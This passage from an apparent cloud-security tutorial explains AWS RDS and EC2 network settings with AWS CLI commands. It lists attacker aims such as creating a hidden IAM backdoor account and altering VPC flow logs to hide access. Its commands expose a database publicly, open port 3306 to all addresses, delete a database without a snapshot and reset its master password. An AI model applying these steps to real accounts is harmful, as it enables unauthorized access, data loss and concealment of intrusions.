us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-network-acls --region us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Use the results from these APIs to find vulnerabilities and work out how to bypass them.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create new security-group rules to loosen access restrictions&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a hidden IAM account to maintain a backdoor&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Modify VPC flow logs to hide access records&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Create an Elastic IP and attach it to an instance you control&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="rds"&gt;&lt;a href="#rds" class="header-anchor"&gt;&lt;/a&gt;RDS&#10;&lt;/h2&gt;&lt;p&gt;RDS is mainly used to &lt;strong&gt;manage relational databases&lt;/strong&gt;. Compared with deploying MySQL yourself:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Less manual administration&lt;/strong&gt;: AWS automatically manages &lt;strong&gt;backups, patches, monitoring, and scaling&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;High availability&lt;/strong&gt;: You can &lt;strong&gt;deploy across multiple Availability Zones (AZs)&lt;/strong&gt; so the database stays available during failures.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: You can use &lt;strong&gt;private VPC deployment, encrypted storage, and automatic backups&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Performance optimization&lt;/strong&gt;: It supports &lt;strong&gt;automatic scaling, Read Replicas, and Aurora&lt;/strong&gt; for high-performance reads and writes.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;This is where things start to become a little more important. Developers often use cloud database services because they are more convenient, more secure, and cheaper.&lt;/p&gt;&#10;&lt;h3 id="key-rds-concepts"&gt;&lt;a href="#key-rds-concepts" class="header-anchor"&gt;&lt;/a&gt;Key RDS Concepts&#10;&lt;/h3&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Concept&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;RDS instance&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;The host running the database, equivalent to a database server&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Database engine&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Supports MySQL, PostgreSQL, MariaDB, Oracle, SQL Server, and Aurora&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Subnet Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Runs the database in specific VPC subnets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Security Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Controls access to RDS, including whether external connections are permitted&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Parameter Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Controls database &lt;strong&gt;configuration parameters&lt;/strong&gt;, such as MySQL&amp;rsquo;s &lt;code&gt;max_connections&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Snapshot&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Backs up the database so it can be restored at any time&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Read Replica&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Optimizes read operations and reduces load on the primary instance&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Multi-AZ deployment&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Runs the primary database across &lt;strong&gt;multiple Availability Zones (AZs)&lt;/strong&gt; so primary/standby failover does not interrupt service&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="setting-up-mysql"&gt;&lt;a href="#setting-up-mysql" class="header-anchor"&gt;&lt;/a&gt;Setting Up MYSQL&#10;&lt;/h3&gt;&lt;p&gt;As before, find the corresponding console. This time, we are looking for RDS.&lt;/p&gt;&#10;&lt;p&gt;Follow my configuration below, or you may be charged.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For everything else, clicking through with the defaults is fine.&lt;/p&gt;&#10;&lt;h3 id="connecting-to-mysql-awscli"&gt;&lt;a href="#connecting-to-mysql-awscli" class="header-anchor"&gt;&lt;/a&gt;Connecting to MYSQL (AWSCLI)&#10;&lt;/h3&gt;&lt;p&gt;I will skip the first method, which is connecting from EC2. It is just a normal database connection.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -h your-rds-endpoint -u admin -p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The second method, through AWSCLI, is the main one here.&lt;/p&gt;&#10;&lt;h4 id="querying-rds-instances"&gt;&lt;a href="#querying-rds-instances" class="header-anchor"&gt;&lt;/a&gt;Querying RDS Instances&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstances&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceIdentifier&amp;#34;: &amp;#34;mydatabase&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceClass&amp;#34;: &amp;#34;db.t3.micro&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Engine&amp;#34;: &amp;#34;mysql&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceStatus&amp;#34;: &amp;#34;available&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Endpoint&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Address&amp;#34;: &amp;#34;mydatabase.xxxxxxxx.us-east-1.rds.amazonaws.com&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Port&amp;#34;: 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroups&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroupId&amp;#34;: &amp;#34;sg-0abcd1234&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;You can get the RDS connection address from &lt;strong&gt;&amp;ldquo;Endpoint&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;&amp;ldquo;DBInstanceStatus&amp;rdquo;&lt;/strong&gt; shows the database status&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="backing-up-rds"&gt;&lt;a href="#backing-up-rds" class="header-anchor"&gt;&lt;/a&gt;Backing Up RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds create-db-snapshot --db-instance-identifier mydatabase --db-snapshot-identifier mybackup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Create a snapshot (backup)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="deleting-rds"&gt;&lt;a href="#deleting-rds" class="header-anchor"&gt;&lt;/a&gt;Deleting RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds delete-db-instance --db-instance-identifier mydatabase --skip-final-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Delete the database immediately, skipping the final snapshot&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="checking-whether-rds-allows-public-access"&gt;&lt;a href="#checking-whether-rds-allows-public-access" class="header-anchor"&gt;&lt;/a&gt;Checking Whether RDS Allows Public Access&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances --query &amp;#34;DBInstances[*].[DBInstanceIdentifier, PubliclyAccessible]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response (access was denied):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;database-1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="enabling-public-access-to-rds"&gt;&lt;a href="#enabling-public-access-to-rds" class="header-anchor"&gt;&lt;/a&gt;Enabling Public Access to RDS&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier mydatabase \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --publicly-accessible \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance --db-instance-identifier mydatabase --publicly-accessible --apply-immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once the command completes, it returns the MySQL address and enables public access.&lt;/p&gt;&#10;&lt;h4 id="enabling-the-rds-security-group-policy"&gt;&lt;a href="#enabling-the-rds-security-group-policy" class="header-anchor"&gt;&lt;/a&gt;Enabling the RDS Security-Group Policy&#10;&lt;/h4&gt;&lt;p&gt;The step above successfully enabled external access to MySQL in RDS, but the security group still blocks it. Even though public access is enabled, the security group is a firewall, and the database remains unreachable until the traffic is allowed. Here, we add an inbound rule to the security group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances --query &amp;#34;DBInstances[*].[DBInstanceIdentifier,VpcSecurityGroups]&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;result:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;database-1&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;VpcSecurityGroupId&amp;#34;: &amp;#34;sg-0e8c9518e********&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Remember the VpcSecurityGroupId.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Grant access:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 authorize-security-group-ingress \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --group-id sg-0123456789abcdef \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --protocol tcp \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --port 3306 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cidr YOUR_IP/32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For safety, you can also run curl ifconfig.me&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After finding the IP, replace YOUR_IP above with the current IP rather than 0.0.0.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 authorize-security-group-ingress --group-id sg-0123456789abcdef --protocol tcp --port 3306 --cidr 0.0.0.0/0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="changing-the-mysql-password"&gt;&lt;a href="#changing-the-mysql-password" class="header-anchor"&gt;&lt;/a&gt;Changing the MYSQL Password&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-instance \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier database-1 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --master-user-password &amp;#34;NewPassword123!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The command above can change the password directly, after which you can connect and inspect the data. This is generally not allowed, though. Even during an authorized penetration test, doing this could get you into serious trouble. Just make a note of it.&lt;/p&gt;&#10;&lt;p&gt;That wraps up RDS. We added 